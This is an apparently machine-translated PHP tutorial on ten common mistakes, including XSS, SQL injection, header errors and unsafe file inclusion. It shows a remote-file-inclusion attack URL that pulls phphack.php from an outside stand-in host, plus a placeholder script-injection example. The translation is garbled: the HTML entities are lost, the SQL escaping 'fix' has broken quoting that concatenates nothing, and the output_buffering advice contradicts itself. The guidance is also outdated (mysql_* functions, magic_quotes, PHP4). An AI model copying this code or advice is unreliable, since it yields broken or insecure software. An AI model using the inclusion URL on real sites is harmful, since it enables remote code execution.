Things to note when programming for PHP programmers_PHP tutorial

1. Do not ignore html entities
A basic common sense: all untrustworthy input (especially data submitted by users from forms) must be redirected before output. echo $_GET['usename'] ;
This example may output:
<script>/*Script to change admin password or set cookie*/</script>
This is a An obvious security risk unless you ensure your users are typing correctly.
How to fix:
We need to convert "< ", ">", "and", etc. into correct HTML representation (< , >', and "), functions htmlspecialchars and htmlentities()
The correct way to do this job:

Copy the code The code is as follows:

echo htmlspecialchars($ _GET['username'], ENT_QUOTES);

2. Do not ignore SQL input
I once wrote in an article the easiest way to prevent sql The injection method (in php+mysql) discussed this issue and gave a simple method. Some people said to me that they already set magic_quotes to On in php.ini, so they don't have to worry about this problem, but not all Input is obtained from $_GET, $_POST or $_COOKIE!
How to fix:

I still recommend it as in the simplest method to prevent sql injection (php+mysql) The correct way to use the mysql_real_escape_string() function:

Copy the code The code is as follows:

$sql = "Update users SET
name='.mysql_real_escape_string($name).'
Where id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>

3. Wrong use of HTTP-header related functions : header(), session_start(), setcookie()
Have you ever encountered this warning? ?"warning: Cannot add header information - headers already sent [....]

Every time a web page is downloaded from the server, the server's output is divided into two parts: the header and the body.
The header contains some non-visual data, such as cookies. The head always arrives first. The text part includes visual html, pictures and other data.
If output_buffering is set to Off, all HTTP-header related functions must be called before there is output. The problem is that when you develop in one environment and deploy to another environment, the output_buffering settings may be different. As a result, the redirection stopped, and the cookie and session were not set correctly...

How to fix:
Make sure to call http-header related functions before outputting, and set output_buffering = Off
.

4. Require or include files use unsafe data
I emphasize again: don’t trust data that is not explicitly declared by yourself. Do not include or require files obtained from $_GET, $_POST or $_COOKIE.

For example:
index.php

Copy code The code is as follows:

//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>

Any hacker can now use: http://www.yourdomain.com/index.php?filename=anyfile.txt
to obtain your confidential information, or execute a PHP script.
If allow_url_fopen=On, you are dead:
Try this input:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain. com%2Fphphack.php
Now your web page contains the output of http://www.youaredoomed.com/phphack.php. Hackers can send spam, change passwords, delete files, etc. Anything you can imagine.
How to fix:
You must control which files can be included in the include or require directives yourself.

Here is a quick but not comprehensive solution:

Copy the code The code is as follows:

< ;?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string )$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>

5. Grammar Errors
Grammar errors include all lexical and grammatical errors that are so common that I have to list them here. The solution is to study the syntax of PHP carefully and be careful not to miss a bracket, brace, semicolon, or quotation mark. Also, find a good editor and don’t use Notepad!

6. Little or no object-oriented use
Many projects do not use PHP’s object-oriented technology, and as a result, code maintenance becomes very time-consuming and labor-intensive. PHP supports more and more object-oriented technologies and is getting better and better. There is no reason why we should not use object-oriented technologies.

7. Not using a framework
95% of PHP projects are doing the same four things: Create, edit, list and delete. Now there are many MVC frameworks to help We accomplish these four things, why don’t we use them?

8. Don’t know the functions that already exist in PHP
The core of PHP contains many functions. Many programmers reinvent the wheel over and over again. A lot of time wasted. Before coding, search for PHP mamual and search it on google. You may find new discoveries! exec() in PHP is a powerful function that can execute cmd shell and return the last line of the execution result in the form of a string. Considering security, you can use EscapeShellCmd()

9. Use old versions of PHP

Many programmers are still using PHP4, and developing on PHP4 cannot give full play to PHP. potential, but there are also some safety hazards. Switch to PHP5, it doesn't take a lot of effort. Most PHP4 programs can be migrated to PHP5 with few or even no changes to the statements. According to a survey by http://www.nexen.net, only 12% of PHP servers use PHP5, so 88% of PHP developers are still using PHP4.

10. Do the quotation marks twice Change of mind

Have you ever seen 'or'" appear in web pages? This is usually because magic_quotes is set to off in the developer's environment, and magic_quotes =on on the deployed server. PHP will Run addslashes() repeatedly on data in GET, POST and COOKIE:
Original text:
It's a string

magic quotes on :
It's a string
Run again
addslashes():
It\'s a string

HTML output:
It's a string

Another situation is that the user entered the wrong login at the beginning Information, after the server detects an incorrect input, it outputs the same form and requires the user to input again, causing the user's input to change its meaning twice!

http://www.bkjia.com/PHPjc/318886.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/318886.htmlTechArticle1. Don’t ignore htmlentities A basic common sense: all untrusted input (especially when users submit from forms data), it must be changed before outputting. echo$_GET['usename']; This example...